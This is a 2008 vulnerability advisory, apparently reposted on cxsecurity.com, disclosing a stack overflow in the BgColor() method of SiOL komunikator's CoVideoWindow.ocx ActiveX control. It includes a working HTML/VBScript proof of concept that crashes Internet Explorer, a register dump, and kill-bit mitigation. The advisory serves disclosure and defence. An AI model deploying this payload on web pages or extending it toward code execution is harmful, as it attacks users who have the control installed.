SiOL komunikator IM ActiveX stack overflow condition

2008.08.07
Credit: Edi Strosar
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

========================================================================= SiOL komunikator IM ActiveX stack overflow condition ========================================================================= Release date: 30.7.2008 Severity: Moderately critical Impact: Stack overflow Remote: Yes Status: Unpatched Software: SiOL Komunikator v1.3 (SLO_71130) Tested on: Microsoft Windows XP SP3 / IE6 SP3 Developer: http://www.siol.net/ http://www.eyeball.com/ Disclosed by: Edi Strosar Vendor's description of affected application: ============================================= "SiOL komunikator je programska oprema za neposredno sporo?anje, ki podpira celovito komuniciranje s tekstovnimi sporo?ili, izmenjavo datotek ter monostjo glasovnih in video klicev, brez telefonskega aparata in s katerekoli lokacije, kjer je omogo?ena povezava v Internet." English translation (sort of): SiOL komunikator is an instant messaging (IM) application based on Eyeball Communicator offered by SiOL (Slovenia On-Line) ISP. Download link: http://www.siol.net/spletne_storitve/siol_komunikator.aspx ActiveX control overview: ========================= Developer: Eyeball Networks, Inc. Version: 5.0.907.1 Component: CoVideoWindow.ocx GUID: {CA06EE71-7348-44C4-9540-AAF0E6BD1515} RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True KillBitSet: False Description: ============ SiOL komunikator's ActiveX component CoVideoWindow.ocx is susceptible to stack overflow condition in BgColor() method which may lead to remote code execution. The vulnerability could be exploited if user with SiOL komunikator installed visits a specialy crafted web page. Proof of concept: ================= Following testcase will crash Internet Explorer: <html> <object classid='clsid:CA06EE71-7348-44c4-9540-AAF0E6BD1515' id='test'></object> <input language=VBScript onclick=buffero() type=button value="Crash"> <script language = 'vbscript'> Sub buffero() crash = String(515000, unescape("%41")) test.BgColor = crash End Sub </script> </html> Note: close all Internet Explorer instances before executing PoC! Tested with SiOL komunikator v1.3 (SLO_71130). Other versions may be affected. Exception overview: =================== ---------------------------------------------------------------- Exception C00000FD (STACK_OVERFLOW) ---------------------------------------------------------------- EAX=00000774: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000003: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=000428F4: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 EDX=000FB770: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ESP=0013D8EC: C6 9A 80 7C 0D B9 E8 01-00 00 00 00 20 39 EC 01 EBP=0013D904: 44 D9 13 00 1C 9F E8 01-1C D9 13 00 24 00 39 02 ESI=000FB772: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 EDI=02390024: 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 EIP=01E93635: 85 01 3D 00 10 00 00 73-EC 2B C8 8B C4 85 01 8B --> TEST [ECX],EAX ---------------------------------------------------------------- Mitigation: =========== Set the kill bit (http://support.microsoft.com/kb/240797). Paste the following text in a text editor such as Notepad. Then, save the file by using the .reg file name extension. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CA06EE71-7348-44c4-9540-AAF0E6BD1515}] "Compatibility Flags"=dword:00000400 Timeline: ========= 12.07.2008 - initial developer notification - no response 20.07.2008 - additional developer notification - no response 30.07.2008 - public disclosure Contact: ======== edi [dot] strosar [at] gmail [dot] com Disclaimer: =========== The content of this report is purely informational and meant for educational purposes only. Author shall in no event be liable for any damage whatsoever, direct or implied, arising from use or spread of this information. Any use of information in this advisory is entirely at user's own risk. =========================================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top